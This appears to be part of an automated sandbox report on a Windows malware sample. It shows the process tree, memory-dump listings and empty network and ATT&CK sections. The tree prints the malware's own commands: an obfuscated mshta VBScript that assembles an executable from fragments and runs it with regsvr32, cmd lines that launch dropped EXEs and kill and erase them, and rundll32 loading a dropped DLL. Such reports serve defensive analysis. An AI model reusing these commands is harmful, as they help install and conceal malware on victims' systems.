                                                                                                                                            "C:\Windows\System32\cmd.exe" /R tYpE "C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if "/p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt " == "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe" ) do taskkill -Im "%~NxU" -f
                                                                                                                                            6⤵
                                                                                                                                              PID:2636
                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                            "C:\Windows\System32\mshta.exe" vBsCrIpT: cLOse (CrEATEOBJECT ( "wScrIpT.ShelL" ). RUn ( "cMd /Q /R eCHO | SET /P = ""MZ"" > 1oZVDA.JaC & CoPy /y /b 1OZVDA.jAC + GjuW~.A +HPIuT6.AM + bDJeH5.9 yLIh.BIn & Del GJuW~.A HPIUT6.AM BDJEH5.9 1oZVDA.jaC& stArt regsvr32.exe /S YLIH.bIN " , 0 ,TRuE) )
                                                                                                                                            5⤵
                                                                                                                                              PID:2920
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /Q /R eCHO | SET /P = "MZ" > 1oZVDA.JaC &CoPy /y /b 1OZVDA.jAC + GjuW~.A +HPIuT6.AM + bDJeH5.9 yLIh.BIn & Del GJuW~.A HPIUT6.AM BDJEH5.9 1oZVDA.jaC& stArt regsvr32.exe /S YLIH.bIN
                                                                                                                                                6⤵
                                                                                                                                                  PID:960
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>1oZVDA.JaC"
                                                                                                                                                    7⤵
                                                                                                                                                      PID:1924
                                                                                                                                                    • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                      regsvr32.exe /S YLIH.bIN
                                                                                                                                                      7⤵
                                                                                                                                                        PID:2148
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                                                                                                                        7⤵
                                                                                                                                                          PID:2100
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17afe24e0084db3.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17afe24e0084db3.exe" -u
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              PID:1800
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon174a6c5f1664f.exe
                                                                                                                                              Mon174a6c5f1664f.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                              PID:268
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon174a6c5f1664f.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon174a6c5f1664f.exe
                                                                                                                                                2⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:2584
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon179f74c0ff3cf1f.exe
                                                                                                                                              Mon179f74c0ff3cf1f.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Checks computer location settings
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              PID:972
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 972 -s 1400
                                                                                                                                                2⤵
                                                                                                                                                • Program crash
                                                                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:2668
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bffc2992eb3d.exe
                                                                                                                                              Mon17bffc2992eb3d.exe /mixone
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              PID:1904
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon17bffc2992eb3d.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17bffc2992eb3d.exe" & exit
                                                                                                                                                2⤵
                                                                                                                                                  PID:2908
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon17afe24e0084db3.exe
                                                                                                                                                Mon17afe24e0084db3.exe
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:1976
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon1727c156c4abcec.exe
                                                                                                                                                Mon1727c156c4abcec.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:1244
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon1727c156c4abcec.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS07134BF5\Mon1727c156c4abcec.exe
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:2596
                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                  taskkill /im "Mon17bffc2992eb3d.exe" /f
                                                                                                                                                  1⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:2996
                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                  1⤵
                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                  PID:3056
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                    2⤵
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2212
                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
                                                                                                                                                  1⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                  PID:1244
                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
                                                                                                                                                  1⤵
                                                                                                                                                    PID:464

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • memory/268-55-0x00000000755D1000-0x00000000755D3000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8KB

                                                                                                                                                  • memory/268-209-0x0000000000A80000-0x0000000000A81000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                  • memory/1244-211-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                  • memory/1588-200-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    80KB

                                                                                                                                                  • memory/1756-216-0x00000000012E0000-0x00000000012E1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                  • memory/1876-206-0x0000000000650000-0x0000000000651000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                  • memory/1904-220-0x0000000000730000-0x000000000075A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/1996-88-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    572KB

                                                                                                                                                  • memory/1996-93-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.5MB

                                                                                                                                                  • memory/1996-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    572KB

                                                                                                                                                  • memory/1996-85-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    100KB

                                                                                                                                                  • memory/1996-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    572KB

                                                                                                                                                  • memory/1996-98-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    572KB

                                                                                                                                                  • memory/1996-87-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    100KB

                                                                                                                                                  • memory/1996-90-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.5MB

                                                                                                                                                  • memory/1996-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.5MB

                                                                                                                                                  • memory/1996-89-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    100KB

                                                                                                                                                  • memory/1996-97-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    152KB

                                                                                                                                                  • memory/1996-95-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    100KB

                                                                                                                                                  • memory/1996-94-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.5MB

                                                                                                                                                  • memory/1996-92-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.5MB

                                                                                                                                                  • memory/1996-96-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    152KB

                                                                                                                                                  • memory/2584-233-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    128KB

                                                                                                                                                  • memory/2596-234-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    128KB

                                                                                                                                                  • memory/2596-231-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    128KB